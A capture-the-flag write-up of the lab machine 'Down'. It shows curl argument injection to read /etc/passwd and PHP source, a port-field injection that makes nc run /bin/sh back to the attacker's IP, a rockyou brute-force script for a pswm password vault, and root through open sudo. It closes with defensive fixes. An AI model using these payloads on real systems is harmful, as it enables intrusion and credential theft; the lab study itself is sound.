Down is an easy Linux box (the first VulnLab -> HTB migration) that hinges on a single primitive: escapeshellcmd() stops command injection but does nothing about argument injection. A website-uptime checker shells out to curl and nc with user input glued into the command string. I abuse curl’s multi-URL handling to read arbitrary files, recover the PHP source, then abuse an intval()/original-string validation gap in an “expert mode” to inject -e /bin/sh into nc for a shell. Root falls out of a cracked pswm vault (scrypt + AES-GCM) and a wide-open sudo rule.
Path to root, at a glance:
- Inject a curl argument -> read arbitrary files -> dump the PHP source.
- Read the source -> find a hidden
expertmodethat runsncwith a validation bug. - Inject
-e /bin/shintonc-> shell aswww-data. - Loot a
pswmpassword vault -> crack it offline -> password foraleks. alekshas fullsudo-> root.
Recon - nmap
┌──(pwn㉿pwn)-[~/HTB]
└─$ sudo nmap -Pn -A 10.129.47.7
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OpenSSH 8.9p1 + Apache 2.4.52 -> Ubuntu 22.04 (jammy). Neither version buys anything; the web app is the target.
Enumeration - the app
index.php takes a URL and reports whether the site is up. Point it at your own listener and you see how it fetches:
> nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.242] from (UNKNOWN) [10.129.47.7] 35308
GET / HTTP/1.1
Host: 10.10.14.242
User-Agent: curl/7.81.0
Accept: */*
So the app runs something like curl -s <your input>. First instinct is command injection - http://localhost; whoami, | id, && ping. None of it fires: the app is escaping shell metacharacters. But escaping metacharacters is not the same as escaping arguments.
Foothold - argument injection -> file read
Prove we control curl’s argv by injecting its own help flag:
http://127.0.0.1 -h
The response comes back full of curl’s usage text - our input is being parsed as curl options. curl fetches multiple URLs in sequence, so pass a dummy HTTP URL to satisfy the ^https?:// check, a space, then a file:// read:
http://127.0.0.1/ file:///etc/hostname
http://127.0.0.1/ file:///etc/passwd
From /etc/passwd: two real users, root and aleks.
Grab the app source through the same primitive:
http://127.0.0.1/ file:///var/www/html/index.php
The interesting handler is gated behind a hidden GET parameter, ?expertmode=tcp:
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
...
}
}
The bug is the gap between validation and use:
- The port is validated after
intval(). - The original string - not the validated int - is what gets put in the command.
intval() reads a leading number and stops at the first non-digit:
php > echo intval("1234 -e /bin/sh"); // => 1234, passes FILTER_VALIDATE_INT
So 1234 -e /bin/sh passes validation, then gets spliced straight into the nc command. Same escapeshellcmd argument-injection weakness, and this nc build supports -e, which runs a program on connect. That’s our shell.
Shell as www-data
The port field is <input type="number">, but that’s client-side only - send the request directly:
# Listener
nc -lnvp 443
POST /index.php?expertmode=tcp HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
ip=<your-ip>&port=443+-e+/bin/sh
The server runs nc -vz <your-ip> 443 -e /bin/sh and connects back. Stabilize:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm
User flag: /var/www/html/user_*.txt.
Privilege escalation - the pswm vault
www-data can partially read aleks’ home:
find /home/aleks -type f 2>/dev/null
# /home/aleks/.local/share/pswm/pswm <-- readable
# .ssh / .cache are 700 — denied
pswm is Julynx’s CLI password manager. The vault is four *-separated base64 fields - the signature of the cryptocode library: ciphertext * salt * nonce * tag, and the scheme is:
key = scrypt(master_password, salt, N=2**14, r=8, p=1, dklen=32)
pt = AES-256-GCM.decrypt_and_verify(ciphertext, nonce, tag, key)
The point that makes cracking clean: the GCM tag is a correctness oracle. A wrong master password derives a wrong key, decrypt_and_verify fails the tag, and cryptocode.decrypt returns False - never a false positive. The crack loop is just: try password -> cryptocode.decrypt -> truthy means we’re in.
import cryptocode
def bf(encrypted_text, wordlist):
with open(wordlist, "r", encoding="utf-8") as f:
for password in f:
decrypted = cryptocode.decrypt(encrypted_text, password.strip())
if decrypted:
print("[+] Master Password: %s" % password.strip())
print(decrypted)
return
print("[-] Password Not Found!")
$ python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias | Username | Password |
+------------+----------+----------------------+
| pswm | aleks | ******** |
| aleks@down | aleks | ******** |
+------------+----------+----------------------+
flower is near the top of rockyou, so it lands almost immediately. The vault hands us aleks’ login password.
scrypt with
N=2**14is deliberately memory-hard (~16 MB/attempt), so a serial loop is fine here only because the master password is a top-rockyou hit. Against a stronger password you’d parallelise across cores and call PyCryptodome directly.
Root
ssh aleks@$TARGET
sudo -l
# (ALL : ALL) ALL
sudo -i
# root@down:~#
Full sudo, no restrictions. Grab root.txt.
Lessons (three fixes)
escapeshellcmd()!=escapeshellarg(). The first blocks shell metacharacters but leaves-alone, so any binary behind it is open to flag injection. User input that becomes a single argument needsescapeshellarg(), plus--to end option parsing.- Validate the value you actually use. The
intval()-> validate -> use gap is the nc injection. Re-assign the sanitized int ($port = (int)$port;) before it touches the command. - A leaked GCM vault is an offline password oracle. The authenticity tag doubles as the “is this the right key” check, so the only thing between a stolen vault and its contents is the KDF cost - defeated here by a weak master password.